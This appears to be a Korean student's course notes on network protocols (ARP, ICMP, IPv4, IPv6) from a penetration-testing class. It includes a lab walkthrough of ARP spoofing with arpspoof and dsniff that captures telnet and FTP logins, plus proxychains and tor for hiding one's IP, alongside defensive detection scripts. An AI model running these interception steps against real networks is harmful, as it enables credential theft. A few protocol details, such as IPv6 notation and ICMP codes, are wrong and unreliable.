본문 바로가기
모의해킹 침해대응 과정/본 과정

네트워크 이론_2 /day 32-33

by 알거음슴 2021. 5. 11.

인터넷 계층 (Internet Layer)

1. ARP(Address Resolution Protocols)

주소변환 프로토콜, IP 네트워크 상에서 목적지 IP 주소를 통해서 목적지 MAC 주소를 알아오는 프로토콜.

 1) ARP 동작 과정

a. ARP cache table 확인 -> table 내 존재 시 ethernet 통신 시작.(mac)

b. ARP Request(Broadcast)

c. ARP Reply (unicast)

d. ARP cache table 저장

 

[실습] ARP protocol 동작 원리 ping text 후 arp cache table 확인

 * Linux : arp -an (확인) / arp -d IP (삭제)

 * Windows : apr -a (확인) / arp -d (삭제)

 

 2) ARP herder

Hardware type(2byte) : ARP 시작을 알리는 부분

Protocol type(2byte) : ARP 요청이 사용되는 상위계층 프로토콜 (주로 IP)

Hardware address(1byte) length : 사용중 하드웨어 주소의 길이 

Protocol address length(1byte) : 지정된 프로토콜유형의 논리주소 길이

Operation(2byte) : ARP 패킷의 기능 요청의 경우(request) 1 응답(reply)의 경우 2이다.

Sender hardware address(6byte) : 송신자의 하드웨어 주소 (mac)

Sender protocol address(4byte) : 송신자의 상위 계층 주소 (주로 IP주소)

Target hardware address(6byte) : 수신자의 하드웨어 주소 (mac)

Target protocol address(4byte) : 수신자의 상위 계층 주소 (주로 IP주소)

 

[실습] ARP protocol 헤더 분석 (wireshack)

 * ctrl+click 으로 마킹 후 file - exprort specifiled packets 시 마킹된 정보만 저장 가능.

[실습] arp cache table 내 mac address 임시적 변경

 * MAC (물리적인주소) 는 기본적으로 중첩되지 않는다, 운영체제에서 임시적으로 NIC의 MAC 주소를 변경해도 재부팅시 원래대로 원복된다. ( 부팅 시 NIC의 MAC을 load 하기떄문 )

 * Linux : arp -s IP MAC (등록) 

 * windows :  netsh interface show interface (NIC 카드 이름 확인)

 netsh interface ip add neighbors "NIC" "IP" "MAC" (등록)

[실습] Ethernet Address 임시적 변경

 * Linux : ifconfig NICNAME hw ether MACADDRESS (변경)

 * Windows : 장치관리자 -> 네트워크 카드 속성 편집 or 레지스트리편집 or 프로그램 사용(MAC Changer)

 

 3) Gratuitous ARP

의미없는 ARP 라는 의미로 송신자와 수신자의 IP 주소가 동일하다는 점 외에는 ARP Request 패킷과 유사하다.

의미없는 ARP 패킷이 생성되는 이유는 크게 3가지가 있다.

 a. 장치의 IP 주소를 변경하면 의미없는 패킷이 생성된다.

 b. 일부 운영체제에서는 시작할 때 의미없는 ARP 를 수행

 c. 로드벨런스 조정을 지원하기위해 ARP 패킷을 사용

wireshack 에서 패킷 분석 시 Sender hardware address 이 0.0.0.0 으로 확인되며 Target protocol address 는 변경된 IP의 모습을 확인할 수 있다

 

[실습] IP 변경 후 의미없는 ARP 패킷 분석.

[실습] 쉘 스크립트 활용하여 ping test 프로그램 제작

* Liunx의 경우 브로드케스트를 수신하지 않는다. 네트워크 대역전체를 점검하기위해 ping 시 작동 가능하도록 프로그램을 작성한다.

#!/bin/bash

START=200
END=205
NET=192.168.20   # 네트워크 대역은 192.168.20.0/24 이며 200~205 할당되어있다.

for i in $(seq $START $END)
do
ping -c 1 $NET.$i >/dev/null 2>&1
	if [ $? -eq 0 ] ; then
		echo " [  OK  ] $NET.$i "
	else
		echo " [ FAIL ] $NET.$i "
	fi
done
echo
echo "=========== ARP Cache Table =========="
arp -an | grep -v 'incomplete' | grep "$NET"
echo "======================================"

 

 4) ARP Spoofing Attack

 * Spoofing : 속이다라는 의미, IP, MAC, DNS 등을 속임을 통한 공격을 진행 정보를 얻어내거나 시스템 마비에 활용

같은 네트워크 내에서 ARP 신호의 reply를 공격 대상들에게 지속적으로 발송, 대상의 arp table의 내용을 변조 Spoofing 하는 공격방식, 공격대상은 공격자의 PC 를 통해서 릴레이 되게 되며, 정보를 탈취 또는 추가적인 공격의 전초가 되는 공격기법이다.

 4-1) 동작원리

HostA (IP1,MAC1) --- Hacker (IP2,MAC2) --- HostB (IP3,MAC3)

HostA (IP1,MAC1) <--{IP3=MAC2 reply}-- Hacker (IP2,MAC2) --{IP1=MAC2 relpy}--> HostB (IP3,MAC3)

 * HostA 와 HostB ARP cache table 에 잘못된 IP와 MAC이 맵핑됨. -> HostA,B 통신시 Hacker를 통해 진행하게됨.

 

[실습] ARP Spoofing Attack 실습 1

(환경) Linux200 -- Kail -- Win2008

 1) Linux200, Win2008의 ARP cache table을 비운다.

 2) Kail 같은 네트워크에 존재하는 서버 목록 출력 (nmap -F 192.168.20.0/24)

 3) Kail IPv4 Forwarding 기능을 임시적으로 ON

echo 1 > /proc/sys/net/ipv4/ip_forward

cat /proc/sys/net/ipv4/ip_forward  # 값이 1이 나오면 forward, 0이면 설정안됨.

 4) dsniff 설치 wireshack 설치 후 ARP Spoofing 을 시도

* wireshack 로 ARP 패킷을 확인하면서 arpspoof 시도.

┌──(root💀kali)-[~]
└─# arpspoof --help arpspoof: invalid option -- '-' Version: 2.4 Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

┌──(root💀kali)-[~]
└─# arpspoof -i eth1 -t 192.168.20.200 192.168.20.201
┌──(root💀kali)-[~]
└─# arpspoof -i eth1 192.168.20.201 192.168.20.200

 5) Linux200, Win2008 서버의 ARP cache table 를 확인한다.

* request를 보내지 않았음으로 아직 table에 등록되어있지 않다.

 6) Kail 에서 dsniff 으로 Linux200 서버의 telnet를 모니터링 후 win2008 -> Linux200 에 telnet 시도

┌──(root💀kali)-[~]
└─# dsniff -i eth1 -t 23/tcp=telnet host 192.168.20.200 dsniff: listening on eth1 [host 192.168.20.200] ----------------- 05/11/21 13:07:52 tcp 192.168.20.201.49354 -> 192.168.20.200.23 (telnet)
root
soldesk1.
id
pwd
exit 

 7) Kail 에서 dsniff 으로 Linux200 서버의 ftp를 모니터링 후 win2008 -> Linux200 에 fpt 시도

┌──(root💀kali)-[~]
└─# dsniff -i eth1 -t 21/tcp=ftp host 192.168.20.200   
dsniff: listening on eth1 [host 192.168.20.200]
-----------------
05/11/21 13:09:13 tcp 192.168.20.201.50008 -> 192.168.20.200.21 (ftp)
USER root
PASS soldesk1.

 8)  Linux200, Win2008 서버의 ARP cache table 를 확인한다

* 통신이 진행됨에 따라 table에 정보가 잘못 등록되어있음을 확인할 수 있다.

 

 5) ARP Spoofing Attack 대응방안

누군가 ARP spoofing 공격시 네트워크 부하량이 걸린다 (reply를 지속적으로 보내기때문) 즉 인터넷이 느려진다, 확인은 arp cache table을 확인할 수 있다. arp cache table에 이상징후 감지 시 static 상태로 정보를 넣어준다.

ARP Spoofing 예방안 -

 a. 서버 장비에서 방어 : arp table을 자동(Dynamic) -> 수동(Static)으로 변경

 b. 네트워크 장비에서 방어 : Port Security 기능을 활용. 각 포트에 물리적 MAC주소를 정적으로 설정.

ARP Spoofing 대응안 -

 a. 감염 대상 파악

 b. 모든 하위 네트워크 상의 PC 치료

 c. 장비 재 정비

ARP Spoofing 예방조치 -

 a. G.W장비에 수동으로 ARP table을 할당, IP 장비가 바뀔때마다 직접 등록하여 변종 발생에 대비.

 b. ARP Spoofing 공격을 모니터링 툴 활용

* arpwatch 전송간 모든 패킷의 IP와 MAC을 비교하여 같은대상 존재 시 알람기능

 

[실습] 부팅 시 GW ARP 정보를 강제로 등록하는 프로그램 제작

부팅시 GW ARP 내 IP 와 MAC을 강제로 arp table에 등록하는 프로그램을 작성한다.

#!/bin/bash

GW=192.168.20.100

ping -c 1 192.168.20.100 >/dev/null 2>&1
if [ $? -eq 0 ] ; then
	MAC=$(arp -an | grep $GW | awk '{print $4}')
	arp -s $GW $MAC
fi

제작 된 프로그램은 /etc/rc.d/rc.local 에 등록하여 부팅시 자동적용되게 끔 진행한다.

# [root@linux200 ~]# vi /etc/rc.d/rc.local
# [root@linux200 ~]# chmod +x /etc/rc.d/rc.local

* arp table 을 지운 뒤. 재부팅하여 테스트를 진행한다.

 

[실습] arpwatch.sh 프로그램 제작 ( tool과 유사하게 )

ARP table 내용을 확인, IP는 상이하나 MAC 주소가 같은것이 있다면 발생경과를 알려주는 프로그램을 제작.

#!/bin/bash

START=200
END=202
NET=192.168.20
LOG=/root/bin/arp.txt
ARPLOG=/root/bin/arp.log

echo "========== Scanning ========="
for i in $(seq $START $END)
do
	ping -c 1 $NET.$i >/dev/null 2>&1
done

arp -an > $LOG

DUPMAC=$(cat $LOG | grep -v 'incomplete' | grep $NET | awk '{print $4}' | sort -n | uniq -d)
MACCOUNT=$(echo $DUPMAC | wc -l)

if [ $MACCOUNT = 0 ] ; then
	echo " [  OK  ] ARP cache table is no problem !"
else
	echo " [ WARN ] $(date) - ARP WARING " >> $ARPLOG
	echo " [ WARN ] ARP Spoofing Attack is Suspected ! "
	echo "$(grep $DUPMAC $LOG)" | awk '{print $2, $4}' >> $ARPLOG
	echo 
fi

 

2. RAPR(Reverse Address Resolution Protocols)

ARP와 반대개념, ARP table의 목록이나 캐시로부터 자신의 IP 주소를 알아내기 위한 확인요청용 프로토콜이다.

즉 MAC 주소로 IP 주소를 알아온다.

* 이와 유사한 PXEBoot client <--> DHCP server가 존재함으로 현상황에서는 거의 활용되지 않는다.

 

3. ICMP(Internet Control Message Protocols)

호스트서버와 게이트웨이 사이에서 메시지를 제어하고 에러를 알려주는 프로토콜 IP

ICMP protocol 을 사용하는 대표적인 명령어가 바로 ping CMD 이다. ( traceroute CMD도 있다.)

 1) ICMP 메시지 타입

오류보고 메시지

 Type 3 : 목적지 도달 불가

 Type 4 : 발신지 억제

 Type 5 : 경로 재지정

 Type 11: 시간 초과

 Type 12: 매개변수 문제

질의 메시지

 Type 8 : Echo Request

 Type 0 : Echo Reply

 Type 9 : Router 광고

 Type 10: Router 요청

 Type 13: Timestamp Request

 Type 14: Timestamp Reply

 Type 15: IP 정보 요구(구형)

 Type 16: IP 정보 응답(구형)

 Type 17: 주소마스크 요구

 Type 18: 주소마스크 응답

 

2) ICMP hearder

Type (1byte) : 메시지 타입이 정의됨.

Code (1byte) : Type 의 대한 코맨트

Checksum (2byte) : 헤더 오류 검사

Massage : 각 Type 별로 다르게 구성이 된다.

 

 [참고] Type 3 에 따른 주요 Code

Network Unreachable (Type 3, Code 0) : 목적지 네트워크로 가는 경로 없음 / 목적지 주소가 라우팅 테이블에 없을 경우 및 디폴트 라우트(default router)가 없는 경우

Host Unreachable (Type 3, Code 1) : 최종 목적지 호스트에 도달할 수 없을 때 / 호스트 또는 라우터에서 생성됨

Protocol Unreachable (Type 3, Code 2) : 목적지 시스템에 특정 프로토콜을 사용할 수 없다는 사실을 통보

Port Unreachable (Type 3, code 3) : 목적지 호스트에서 특정 포트번호가 사용될 수 없음을 알림

Framentation Required but DF bit is set (Type 4, Code 4) : IP 데이터그램에 MTU가 작은 네트워크를 통과하려면 단편화되어야 하는데, 라우터는 DF 비트가 세팅된 것을 확인하고 그냥 페기하고 송신측에 이를 통보

 

 3) Ping CMD / traceroute CMD 의 동작원리

Ping CMD

 Host A --echo request--> Host B

 Host A <--echo reply-- Host B

 Host A <--dest. unch.-- Host B

 

Traceroute CMD

 Host A ----> R1 ----> R2 ----> R3 ----> Host B

 * ICMP echo request 각 노드에 3개씩 보내고, 각 노드에 보내지는 패킷의 TTL 값을 1부터 증가시켜가면서 목적지에 도달할때 까지 보낸다

 

[실습] ICMP 패킷 wireshack 분석.

 * ICMP 헤더 분석

 * wireshack 'info' 필드 분석

 * ICMP Mesage Type3 : 목적지 도달 불가.

[실습] Ping CMD 분석

[실습] traceroute/tracert CMD 패킷 분석

[실습] Open Visual Traceroute Tool 사용. ( 라우터 역추적 )

 

4. IPv4(Internet Protocol Version 4)

IPv4는 internet protocol 의 약자이다

 1) IP Header (20~60byte)

Total Length (16bits) : IP 헤더와 IP 데이터를 포함한 IP 패킷 전체 길이를 바이트단위로 표시.

Source IP Address  (32 bits): 출발지 주소 IP

Destination IP Address (32 bits) : 목적주 주소 IP

Type Of Service(8 bits) : DS / ECN 으로 구분, 서비스유형 및 혼잡알림을 나타내는 필드

 * DS - 요구되는 서비스 질의 대한 유형, IP Datagram이 Router에서 어떻게 처리될 지 정의

 * ECN - 혼잡 알림을 위해 사용, 우선순위가 0-2byte / TOS설정이 3-6byte / 남은 비트는 활용되지않는다. TOS 설정의  값에 따라서 처리 우선순위와 속도가 지정된다

Fragement Identification (16 bits) : Datagram의 분할과 재 조립에 사용 Datagram의 식별을 위해 사용되는 ID

Fragmentation Flag (3 bits) : Datagram의 분할 여부를 식별할 때 활용

 * 1bit - 항상 0  /  2bit - 0이면 분할가능, 1이면 분할 불가능  /  3bit - 0이면 마지막조각, 1이면 마지막조각이 아님.

Fregmentation Offset (13 bits) : 분할 전 원래 Datagram 의 위치를 알리는 단위.

TTL (8 bits) : Datagram이 네트워크 상에서 살아있을 수 있는 시간을 정의, Router를 지날때마다 1씩 감소한다. 

 * 주요 TTL 값 - 네트워크 장비(cisco) : 255, windows : 128, 리눅스/유닉스 : 64 

Protocol (8 bits) : IP 상위계층의 protocol 식별자

 * 01 : ICMP / 02 : IGMP / 06 : TCP / 17 : UDP ...

Checksum (16 bits)

 

[실습] TTL 패킷 분석

 * 분석1. TTL 수명 

 * 분석2. IP 단편화 (IP Fragmentation)

 

 2) IP 주소체계

IP는 8bit 4개의 옥텟으로 총 32bit 로 구성되어있다. 첫번째 옥텟의 값에 따라서 정해진 클래스가 구분될 수 있으며 이를 class full IP 대역이라고 한다.

A Class : 0 ~ 127 () 10.10.10.21

B Class : 128 ~ 191 () 191.32.80.120

C Class : 192 ~ 223 () 203.211.5.3

D Class : 224 ~ 239 () 224.0.1.9

E Class : 240 ~ 255

[참고] 사설 IP(Private Address) : 공인망이 아닌 사설망에서 이용되는 IP 대역의 구분. 가용가능한 클라이언트 갯수에 따라서 사설IP 대역이 구성된다.

A Class : 10.X.X.X

B Class : 172.16.X.X ~ 172.31.X.X

C Class : 192.168.X.X

 

 3) Netmask 

IP 주소의 네트워크대역을 구분해줄 수 있는 값. 사설IP내에서 기본적인 Netmask 값이 클래스별 Default값이 있다.

- A Class: 255.0.0.0

- B Class: 255.255.0.0

- C Class: 255.255.255.0

하나의 네트워크 대역을 구분해줄 수 있는것이 netmask이다 이때 netmask을 논리적으로 더 나눌경우 (subnetting)서브넷팅 netmask 대역을 묶어줄경우 Supernetting (슈퍼넷팅)으로 구분된다. 서브넷팅의 경우 주로 VLAN으로 활용되며 슈퍼넷팅의 경우 CIDR 에 활용된다.

*  Supernet (supernetting) <---  Network (netmask) ---> Subnetwork (subnetting)

 

[실습] Netmask 설정/변경

* netmask 값이 다를경우 통신이 될수도 있고 안될수도 있다. 정확하게 대역을 구분지어 지정해한다.

[실습] Kernel Routing Table 읽혀지는 순서.

* 목적지 IP --> 목적지 Network --> Default gateway ( 좁은 범위에서 넓은 범위로 우선순위 부여 )

 

 4) IP 우회

웹 프록시 (Web Proxy) 

좋은용도 : 웹성능 강화, 보안 강화

나쁜용도 : 소스 IP를 숨기기위해, 코드 수정/변조

 ( 내용 별도 공부해서 채워놓으세욘.)

프록시의 종류 

 일반 프록시

 프록시 체인 (tor)

 

[실습] Kali Linux에서 proxychains 와 tor 로 IP 우회 실습.

용어 정리: proxy chains -> tor network

설정 방법:

 apt-get -y install proxychains libproxychains3 tor

 systemctl start tor

 proxychains CMD

 

 

5. IPv6(Internet Protocol Vesion 6)

 1) 구성요소

FE80::AABB:CCDD:EEFF:GGHH 처럼 표기 128bits, 10진수, 8bit옥텟으로 구성되어있다.

장점 : 주소확장, 헤더의 단순화 (성능향상), 확장헤더 옵션의 증가 ( 개인 커스텀 해더기능도 있다. )

주소 타입의 경우 기존 ipv4와 유사하나 Broadcast는 Mulitcast 와 의미가 합쳐지고, Anycast가 추가되었다.

즉 Unicast, Multicast, Anycast address type 이 존재한다.

 

[참고] IPv6 주소 표현방법

기존보다 길어진 주소체계로 인해 길이를 줄이기 위해 0의 경우는 하나의 옥텟에 0만 존재 할 경우 0000이 아닌 0 또는 공백으로 처리 가능하다.

fe80:0000:0000:0000:0a00:20ff:feb5:4137 = fe80:0:0:0:0a00:20ff:feb5:4137 = fe80::0a00:20ff:feb5:4137

 

 2) IPv6 Header

Version(4 bits) : IP 버전, IPv6 경우는 항상 6이다.

Traffic Class(1) : 특정 트래픽 클래스의 우선순위를 지정하는데 사용한다. (TOS 비슷) 

Flow Label(20 bits) : 동일한 흐름에 속한 패킷 집합에 레이블을 지정하기 위해 발신지에서 사용된다.

 * 이 필드는 일반적으로 QoS 관리에 사용되며, 동일한 흐름의 일부의 패킷이 동일한 경로를 사용하는지 확인하기 위해 사용된다.

Payload Length(2) : IPv6 헤더 다음에 오는 데이터 페이로드의 길이이다. (Header Length + Toltal Length)

Next Header(1) : IPv6 헤더를 캡슐화하는 계층 4 헤더를 식별한다. (Protocol 비슷)

Hop Limit(1) : 라우터를 통해 홉 단위로 측정된 패킷의 수명을 정의한다. (TTL 비슷) 

Source IP Address(16) : 패킷을 보낸 호스트의 IP 주소이다.

Destination IP Address(16) : 패킷을 받을 목적지 호스트의 IP 주소이다.

 

 3) Format Prefixes

|<----- Prefix(64bits) ----->|<----- EUI-64(64bits) ----->|

+---------------+-----------+------------------------------+

| FE80 |                          | Interface ID |

+---------------+-----------+------------------------------+

| FEC0 |

| 2 or 3 |

| FF |

 

[] Initial Allocation of Format Prefixes From RFC 2373

----------------------------------------------------------------------------------

종류                                              FP(Binary)         FP(Hexadecimal)

----------------------------------------------------------------------------------

Link-local Unicast Address                  1111 1110 10     FE8

Site-local Unicast Address                  1111 1110 11     FEC

Aggregatable Global Unicast Address    001                 2 

----------------------------------------------------------------------------------

Multicast Address                             1111 1111         FF

----------------------------------------------------------------------------------

 Link-Local Unicast Address(FE80:---) : 물리적으로 연결된 네트워크 안에서만 통신할 때 사용하는 주소(: 사설IP)

 Site-Local Unicast Address(FEC0:---) : 인트라넷(Intranet)안에서만 통신할 때 사용하는 주소(: 사설 Network )

 Aggregable Gobal Unicast Address(2:---) : 인터넷상에서 통신할 때 사용하는 주소(: 공인IP)

 Multicast Address(FF:---) : 다중 컴퓨터(지정된 그룹)과 한꺼번에 통신할 때 사용하는 주소(: 224.0.0.1)